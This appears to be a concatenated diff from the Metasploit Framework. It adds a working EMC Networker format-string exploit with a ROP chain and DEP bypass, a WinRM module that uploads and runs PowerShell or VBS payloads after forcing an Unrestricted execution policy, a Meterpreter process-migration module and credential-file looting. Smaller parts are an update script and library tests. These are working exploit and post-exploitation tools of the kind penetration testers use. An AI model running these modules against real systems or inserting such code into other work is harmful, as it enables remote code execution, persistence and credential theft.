@ -0,0 +1,63 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::WinRM
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'WinRM Command Runner',
|
||||
'Description' => %q{
|
||||
This module runs arbitrary Windows commands using the WinRM Service
|
||||
},
|
||||
'Author' => [ 'thelightcosine' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The windows command to run", "ipconfig /all" ]),
|
||||
OptString.new('USERNAME', [ true, "The username to authenticate as"]),
|
||||
OptString.new('PASSWORD', [ true, "The password to authenticate with"]),
|
||||
OptBool.new('SAVE_OUTPUT', [true, "Store output as loot", false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
|
||||
return
|
||||
end
|
||||
streams = winrm_run_cmd(datastore['CMD'])
|
||||
return unless streams.class == Hash
|
||||
print_error streams['stderr'] unless streams['stderr'] == ''
|
||||
print_good streams['stdout']
|
||||
if datastore['SAVE_OUTPUT']
|
||||
path = store_loot("winrm.cmd_results", "text/plain", ip, streams['stdout'], "winrm_cmd_results.txt", "WinRM CMD Results")
|
||||
print_status "Results saved to #{path}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module attempts to authenticate to a WinRM service. It currently
|
||||
works only if the remote end allows Negotiate(NTLM) authentication.
|
||||
Kerberos is not currently supported. Please note: in order to use this
|
||||
module, the 'AllowUnencrypted' winrm option must be set.
|
||||
module without SSL, the 'AllowUnencrypted' winrm option must be set.
|
||||
Otherwise adjust the port and set the SSL options in the module as appropriate.
|
||||
},
|
||||
'Author' => [ 'thelightcosine' ],
|
||||
'References' =>
|
||||
|
|
|
@ -40,7 +40,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
OptString.new('WQL', [ true, "The WQL query to run", "Select Name,Status from Win32_Service" ]),
|
||||
OptString.new('USERNAME', [ true, "The username to authenticate as"]),
|
||||
OptString.new('PASSWORD', [ true, "The password to authenticate with"])
|
||||
OptString.new('PASSWORD', [ true, "The password to authenticate with"]),
|
||||
OptString.new('NAMESPACE', [true, 'The WMI namespace to use for queries', '/root/cimv2/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'EMC Networker Format String',
|
||||
'Description' => %q{
|
||||
This module exploits a format string vulnerability in the lg_sprintf function
|
||||
as implemented in liblocal.dll on EMC Networker products. This module exploits the
|
||||
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
|
||||
version 0x02, and procedure 0x06. This module has been tested successfully on EMC
|
||||
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Aaron Portnoy', # Vulnerability Discovery and analysis
|
||||
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-2288' ],
|
||||
[ 'OSVDB', '85116' ],
|
||||
[ 'BID', '55330' ],
|
||||
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
|
||||
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0d\x0a\x25\x2a",
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['EMC Networker 7.6 SP3 / Windows Universal',
|
||||
{
|
||||
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
|
||||
'Offset' => 156,
|
||||
'DEP' => true
|
||||
}
|
||||
],
|
||||
['EMC Networker 7.6 SP3 / Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
|
||||
'Offset' => 156,
|
||||
'DEP' => false
|
||||
}
|
||||
],
|
||||
['EMC Networker 7.6 SP3 / Windows 2003 SP2',
|
||||
{
|
||||
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
|
||||
'Offset' => 156,
|
||||
'DEP' => true
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Aug 29 2012'))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
begin
|
||||
if (not sunrpc_create('tcp', 0x5F3DD, 2))
|
||||
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
|
||||
end
|
||||
|
||||
fs = "%n" * target['Offset']
|
||||
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
|
||||
if target['DEP']
|
||||
rop_gadgets =
|
||||
[
|
||||
# rop chain generated with mona.py
|
||||
# The RopDb mixin isn't used because there are badchars
|
||||
# which must be avoided
|
||||
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]
|
||||
0x7c354dab, # skip 4 bytes [MSVCR71.dll]
|
||||
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]
|
||||
0xfffffdff, # Value to negate, will become 0x00000201
|
||||
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]
|
||||
0x7c362688, # POP EBX # RETN [MSVCR71.dll]
|
||||
0xffffffff, #
|
||||
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]
|
||||
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
|
||||
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]
|
||||
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]
|
||||
0x7c38ecfe, # &Writable location [MSVCR71.dll]
|
||||
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]
|
||||
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]
|
||||
0x7c364612, # POP ESI # RETN [MSVCR71.dll]
|
||||
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]
|
||||
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
|
||||
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]
|
||||
].pack("V*")
|
||||
fs << rop_gadgets
|
||||
end
|
||||
fs << payload.encoded
|
||||
|
||||
xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
|
||||
sunrpc_call(6, xdr)
|
||||
sunrpc_destroy
|
||||
|
||||
rescue Rex::Proto::SunRPC::RPCTimeout
|
||||
print_error('RPCTimeout')
|
||||
rescue EOFError
|
||||
print_error('EOFError')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
if (res.code < 200 or res.code >= 300)
|
||||
if (res.code < 200 or res.code > 302)
|
||||
print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -0,0 +1,239 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::WinRM
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WinRM Script Exec Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module uses valid credentials to login to the WinRM service
|
||||
and execute a payload. It has two available methods for payload
|
||||
delivery: Powershell 2.0 and VBS CmdStager.
|
||||
|
||||
The module will check if Powershell 2.0 is available, and if so uses
|
||||
that method. Otherwise it falls back to the VBS Cmdstager which is
|
||||
less stealthy.
|
||||
|
||||
IMPORTANT: If targeting an x64 system with the Powershell method
|
||||
you MUST select an x64 payload. An x86 payload will never return.
|
||||
},
|
||||
'Author' => [ 'thelightcosine' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 30,
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 01 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
|
||||
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
unless check == Msf::Exploit::CheckCode::Vulnerable
|
||||
return
|
||||
end
|
||||
if powershell2?
|
||||
return unless correct_payload_arch?
|
||||
path = upload_script
|
||||
return if path.nil?
|
||||
exec_script(path)
|
||||
else
|
||||
execute_cmdstager
|
||||
end
|
||||
handler
|
||||
end
|
||||
|
||||
def execute_command(cmd,opts)
|
||||
commands = cmd.split(/&/)
|
||||
commands.each do |command|
|
||||
if command.include? "cscript"
|
||||
streams = winrm_run_cmd_hanging(command)
|
||||
print_status streams.inspect
|
||||
elsif command.include? "del %TEMP%"
|
||||
next
|
||||
else
|
||||
winrm_run_cmd(command)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def upload_script
|
||||
tdir = temp_dir
|
||||
return if tdir.nil?
|
||||
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
|
||||
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
|
||||
|
||||
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
|
||||
#add a sleep to the script to give us enoguh time to establish a session
|
||||
script << "\n Start-Sleep -s 600"
|
||||
script.each_line do |psline|
|
||||
#build our psh command to write out our psh script, meta eh?
|
||||
script_line = "Add-Content #{path} '#{psline.chomp}' "
|
||||
cmd = encoded_psh(script_line)
|
||||
streams = winrm_run_cmd(cmd)
|
||||
end
|
||||
return path
|
||||
end
|
||||
|
||||
def exec_script(path)
|
||||
print_status "Attempting to execute script..."
|
||||
cmd = "powershell -File #{path}"
|
||||
winrm_run_cmd_hanging(cmd)
|
||||
end
|
||||
|
||||
def encoded_psh(script)
|
||||
script = script.chars.to_a.join("\x00").chomp
|
||||
script << "\x00" unless script[-1].eql? "\x00"
|
||||
script = Rex::Text.encode_base64(script).chomp
|
||||
cmd = "powershell -encodedCommand #{script}"
|
||||
end
|
||||
|
||||
def temp_dir
|
||||
print_status "Grabbing %TEMP%"
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg)
|
||||
if resp.nil?
|
||||
print_error "Got no reply from the server"
|
||||
return nil
|
||||
end
|
||||
unless resp.code == 200
|
||||
print_error "Got unexpected response: \n #{resp.to_s}"
|
||||
return nil
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
cmd = "echo %TEMP%"
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
return streams['stdout'].chomp
|
||||
end
|
||||
|
||||
def check_remote_arch
|
||||
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
|
||||
resp,c = send_request_ntlm(winrm_wql_msg(wql))
|
||||
#Default to x86 if we can't be sure
|
||||
return "x86" if resp.nil? or resp.code != 200
|
||||
resp_tbl = parse_wql_response(resp)
|
||||
addr_width = resp_tbl.rows.flatten[0]
|
||||
if addr_width == "64"
|
||||
return "x64"
|
||||
else
|
||||
return "x86"
|
||||
end
|
||||
end
|
||||
|
||||
def correct_payload_arch?
|
||||
target_arch = check_remote_arch
|
||||
case target_arch
|
||||
when "x64"
|
||||
unless datastore['PAYLOAD'].include? "x64"
|
||||
print_error "You selected an x86 payload for an x64 target!"
|
||||
return false
|
||||
end
|
||||
when "x86"
|
||||
if datastore['PAYLOAD'].include? "x64"
|
||||
print_error "you selected an x64 payload for an x86 target"
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
def powershell2?
|
||||
if datastore['FORCE_VBS']
|
||||
print_status "User selected the FORCE_VBS option"
|
||||
return false
|
||||
end
|
||||
print_status "checking for Powershell 2.0"
|
||||
streams = winrm_run_cmd("powershell Get-Host")
|
||||
if streams == 401
|
||||
print_error "Login failed!"
|
||||
return false
|
||||
end
|
||||
unless streams.class == Hash
|
||||
print_error "Recieved error while running check"
|
||||
return false
|
||||
end
|
||||
if streams['stderr'].include? "not recognized"
|
||||
print_error "Powershell is not installed"
|
||||
return false
|
||||
end
|
||||
streams['stdout'].each_line do |line|
|
||||
next unless line.start_with? "Version"
|
||||
major_version = line.match(/\d(?=\.)/)[0]
|
||||
if major_version == "1"
|
||||
print_error "The target is running an older version of powershell"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
print_status "Attempting to set Execution Policy"
|
||||
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
|
||||
if streams == 401
|
||||
print_error "Login failed!"
|
||||
return false
|
||||
end
|
||||
unless streams.class == Hash
|
||||
print_error "Recieved error while running check"
|
||||
return false
|
||||
end
|
||||
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
|
||||
if streams['stdout'].include? 'Unrestricted'
|
||||
print_good "Set Execution Policy Successfully"
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
|
@ -65,7 +65,7 @@ class Metasploit3 < Msf::Post
|
|||
# Store the loot
|
||||
print_good("Downloading #{f}")
|
||||
pgpass_path = store_loot("postgres.pgpass", "text/plain", session, read_file(f), "#{f}", "pgpass #{f} file")
|
||||
print_good "Postgres credentials file saved to #{pgpass_path}"
|
||||
print_good "Postgres credentials file saved to #{pgpass_path}"
|
||||
# Store the creds
|
||||
parse_creds(f)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,73 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Smart Process Migration',
|
||||
'Description' => %q{ This module will migrate a Meterpreter session.
|
||||
It will first attempt to migrate to winlogon.exe . If that fails it will
|
||||
then look at all of the explorer.exe processes. If there is one that exists
|
||||
for the user context the session is already in it will try that. Failing that it will fall back
|
||||
and try any other explorer.exe processes it finds},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'thelightcosine'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
server = client.sys.process.open
|
||||
original_pid = server.pid
|
||||
print_status("Current server process: #{server.name} (#{server.pid})")
|
||||
|
||||
uid = client.sys.config.getuid
|
||||
|
||||
processes = client.sys.process.get_processes
|
||||
|
||||
uid_explorer_procs = []
|
||||
explorer_procs = []
|
||||
winlogon_procs = []
|
||||
processes.each do |proc|
|
||||
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
|
||||
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
|
||||
winlogon_procs << proc if proc['name'] == "winlogon.exe"
|
||||
end
|
||||
|
||||
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
|
||||
print_error "Was unable to sucessfully migrate into any of our likely candidates"
|
||||
end
|
||||
|
||||
|
||||
def attempt_migration(target_pid)
|
||||
begin
|
||||
print_good("Migrating to #{target_pid}")
|
||||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to process #{}")
|
||||
return true
|
||||
rescue ::Exception => e
|
||||
print_error("Could not migrate in to process.")
|
||||
print_error(e)
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
107
msfupdate
107
msfupdate
|
@ -9,12 +9,14 @@ while File.symlink?(msfbase)
|
|||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
@msfbase_dir = File.dirname(msfbase)
|
||||
|
||||
@args = ARGV.dup
|
||||
|
||||
# May be changed
|
||||
@configdir = File.expand_path(File.join(File.dirname(msfbase), "data", "svn"))
|
||||
|
||||
Dir.chdir(File.dirname(msfbase))
|
||||
Dir.chdir(@msfbase_dir)
|
||||
|
||||
$stderr.puts "[*]"
|
||||
$stderr.puts "[*] Attempting to update the Metasploit Framework..."
|
||||
|
@ -26,41 +28,110 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?)
|
|||
$stderr.puts "Please run msfupdate as the same user who installed metasploit."
|
||||
end
|
||||
|
||||
|
||||
def is_git
|
||||
File.directory?(File.join(@msfbase_dir, ".git"))
|
||||
end
|
||||
|
||||
def is_svn
|
||||
File.directory?(File.join(@msfbase_dir, ".svn"))
|
||||
end
|
||||
|
||||
def print_deprecation_warning
|
||||
$stdout.puts "[*] Deprecation Note: The next version of Metasploit will"
|
||||
$stdout.puts "[*] update over the git protocol, which requires outbound"
|
||||
$stdout.puts "[*] access to github.com:9418/TCP."
|
||||
$stdout.puts "[*] Please adjust your egress firewall rules accordingly."
|
||||
end
|
||||
|
||||
# Some of these args are meaningful for SVN, some for Git,
|
||||
# some for both. Fun times.
|
||||
@args.each_with_index do |arg,i|
|
||||
case arg
|
||||
# Handle the old wait/nowait argument behavior
|
||||
# Handle the old wait/nowait argument behavior
|
||||
when "wait", "nowait"
|
||||
@wait_index = i
|
||||
@actually_wait = (arg == "wait")
|
||||
# An empty or absent config-dir means a default config-dir
|
||||
# An empty or absent config-dir means a default config-dir
|
||||
when "--config-dir"
|
||||
@configdir_index = i
|
||||
# A defined config dir means a defined config-dir
|
||||
# A defined config dir means a defined config-dir
|
||||
when /--config-dir=(.*)?/
|
||||
# Spaces in the directory should be fine since this whole thing is passed
|
||||
# as a single argument via the multi-arg syntax for system() below.
|
||||
# TODO: Test this spaces business. I don't buy it. -todb
|
||||
@configdir = $1
|
||||
@configdir_index = i
|
||||
when /--git-remote=([^\s]*)?/
|
||||
@git_remote = $1
|
||||
@git_remote_index = i
|
||||
when /--git-branch=([^\s]*)?/
|
||||
@git_branch = $1
|
||||
@git_branch_index = i
|
||||
end
|
||||
end
|
||||
|
||||
@args[@wait_index] = nil if @wait_index
|
||||
@args[@configdir_index] = nil if @configdir_index
|
||||
@args = @args.compact
|
||||
@args.push("--config-dir=#{@configdir}")
|
||||
@args.push("--non-interactive")
|
||||
|
||||
res = system("svn", "cleanup")
|
||||
if res.nil?
|
||||
$stderr.puts "[-] ERROR: Failed to run svn"
|
||||
$stderr.puts ""
|
||||
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
|
||||
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
|
||||
$stderr.puts "[-] to ensure a proper environment."
|
||||
else
|
||||
# Cleanup worked, go ahead and update
|
||||
system("svn", "update", *@args)
|
||||
@args[@git_remote_index] = nil if @git_remote_index
|
||||
@args[@git_branch_index] = nil if @git_branch_index
|
||||
@args = @args.compact
|
||||
|
||||
####### Since we're SVN, do it all this way #######
|
||||
if is_svn
|
||||
print_deprecation_warning
|
||||
@args.push("--config-dir=#{@configdir}")
|
||||
@args.push("--non-interactive")
|
||||
|
||||
res = system("svn", "cleanup")
|
||||
if res.nil?
|
||||
$stderr.puts "[-] ERROR: Failed to run svn"
|
||||
$stderr.puts ""
|
||||
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
|
||||
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
|
||||
$stderr.puts "[-] to ensure a proper environment."
|
||||
exit 1
|
||||
else
|
||||
# Cleanup worked, go ahead and update
|
||||
system("svn", "update", *@args)
|
||||
end
|
||||
end
|
||||
|
||||
####### Since we're Git, do it all that way #######
|
||||
if is_git
|
||||
remote = @git_remote || "origin"
|
||||
branch = @git_branch || "master"
|
||||
# This will save local changes in a stash, but won't
|
||||
# attempt to reapply them. If the user wants them back
|
||||
# they can always git stash pop them, and that presumes
|
||||
# they know what they're doing when they're editing local
|
||||
# checkout, which presumes they're not using msfupdate
|
||||
# to begin with.
|
||||
#
|
||||
# Note, this requires at least user.name and user.email
|
||||
# to be configured in the global git config. Installers should
|
||||
# take care that this is done. TODO: Enforce this in msfupdate
|
||||
res = system("git", "stash")
|
||||
if res.nil?
|
||||
$stderr.puts "[-] ERROR: Failed to run git"
|
||||
$stderr.puts ""
|
||||
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
|
||||
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
|
||||
$stderr.puts "[-] to ensure a proper environment."
|
||||
exit 1
|
||||
else
|
||||
$stdout.puts "[*] Stashed local changes (if any) to avoid merge conflicts."
|
||||
$stdout.puts "[*] Run 'git stash pop' to reapply local changes."
|
||||
end
|
||||
|
||||
system("git", "reset", "HEAD", "--hard")
|
||||
system("git", "checkout", branch)
|
||||
system("git", "fetch")
|
||||
system("git", "merge", "#{remote}/#{branch}")
|
||||
end
|
||||
|
||||
unless is_svn || is_git
|
||||
raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'"
|
||||
end
|
||||
|
||||
if @actually_wait
|
||||
|
|
|
@ -0,0 +1,231 @@
|
|||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
describe FastLib do
|
||||
let(:archived_paths) do
|
||||
[
|
||||
File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'),
|
||||
File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb')
|
||||
]
|
||||
end
|
||||
|
||||
let(:base_path) do
|
||||
File.join(Msf::Config.install_root, 'modules')
|
||||
end
|
||||
|
||||
let(:extension) do
|
||||
'.fastlib'
|
||||
end
|
||||
|
||||
let(:flag_compress) do
|
||||
0x01
|
||||
end
|
||||
|
||||
let(:flag_encrypt) do
|
||||
0x02
|
||||
end
|
||||
|
||||
let(:unarchived_paths) do
|
||||
archived_paths.collect { |archived_path|
|
||||
File.join(base_path, archived_path)
|
||||
}
|
||||
end
|
||||
|
||||
context 'CONSTANTS' do
|
||||
context 'flags' do
|
||||
it 'should have compression' do
|
||||
described_class::FLAG_COMPRESS.should == flag_compress
|
||||
end
|
||||
|
||||
it 'should have encryption' do
|
||||
described_class::FLAG_ENCRYPT.should == flag_encrypt
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'class methods' do
|
||||
context 'dump' do
|
||||
let(:flag_string) do
|
||||
flags.to_s(16)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
FastLib.cache.clear
|
||||
end
|
||||
|
||||
around(:each) do |example|
|
||||
Dir.mktmpdir do |directory|
|
||||
@destination_path = File.join(directory, "rspec#{extension}")
|
||||
|
||||
example.run
|
||||
end
|
||||
end
|
||||
|
||||
context 'without compression and without encryption' do
|
||||
let(:flags) do
|
||||
0x0
|
||||
end
|
||||
|
||||
it 'should create an archive' do
|
||||
File.exist?(@destination_path).should be_false
|
||||
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
|
||||
File.exist?(@destination_path).should be_true
|
||||
end
|
||||
|
||||
context 'cache' do
|
||||
it 'should populate' do
|
||||
FastLib.cache[@destination_path].should be_nil
|
||||
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
|
||||
FastLib.cache[@destination_path].should be_a Hash
|
||||
end
|
||||
|
||||
it 'should include flags' do
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
|
||||
FastLib.cache[@destination_path][:fastlib_flags].should == flags
|
||||
end
|
||||
|
||||
pending "Fix https://www.pivotaltracker.com/story/show/38730815" do
|
||||
it 'should include header' do
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
header = FastLib.cache[@destination_path][:fastlib_header]
|
||||
modification_time = File.mtime(@destination_path).utc.to_i
|
||||
|
||||
header.should be_a Array
|
||||
# @todo figure out why 12 before header length
|
||||
header[0].should == 12
|
||||
# @todo figure out why header length is 0
|
||||
header[1].should == 0
|
||||
header[2].should == modification_time
|
||||
end
|
||||
|
||||
it 'should include archived paths' do
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
cache = FastLib.cache[@destination_path]
|
||||
|
||||
archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb')
|
||||
unarchived_path = File.join(base_path, archived_path)
|
||||
|
||||
# make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be
|
||||
# in the archive.
|
||||
File.exist?(unarchived_path).should be_true
|
||||
cache[archived_path].should_not be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'with compression and without encryption' do
|
||||
let(:flags) do
|
||||
flag_compress
|
||||
end
|
||||
|
||||
it 'should create an archive' do
|
||||
File.exist?(@destination_path).should be_false
|
||||
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
|
||||
File.exist?(@destination_path).should be_true
|
||||
end
|
||||
|
||||
it 'should be smaller than the uncompressed archive' do
|
||||
uncompressed_path = "#{@destination_path}.uncompressed"
|
||||
compressed_path = "#{@destination_path}.compressed"
|
||||
|
||||
File.exist?(uncompressed_path).should be_false
|
||||
File.exist?(compressed_path).should be_false
|
||||
|
||||
described_class.dump(uncompressed_path, '', base_path, *unarchived_paths)
|
||||
described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths)
|
||||
|
||||
File.exist?(uncompressed_path).should be_true
|
||||
File.exist?(compressed_path).should be_true
|
||||
|
||||
File.size(compressed_path).should < File.size(uncompressed_path)
|
||||
end
|
||||
end
|
||||
|
||||
context 'without compression and with encryption' do
|
||||
let(:flags) do
|
||||
flag_encrypt
|
||||
end
|
||||
|
||||
it 'should create an archive' do
|
||||
File.exist?(@destination_path).should be_false
|
||||
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
|
||||
File.exist?(@destination_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with compression and with encryption' do
|
||||
let(:flags) do
|
||||
flag_compress | flag_encrypt
|
||||
end
|
||||
|
||||
it 'should create an archive' do
|
||||
File.exist?(@destination_path).should be_false
|
||||
|
||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||
|
||||
File.exist?(@destination_path).should be_true
|
||||
end
|
||||
end
|
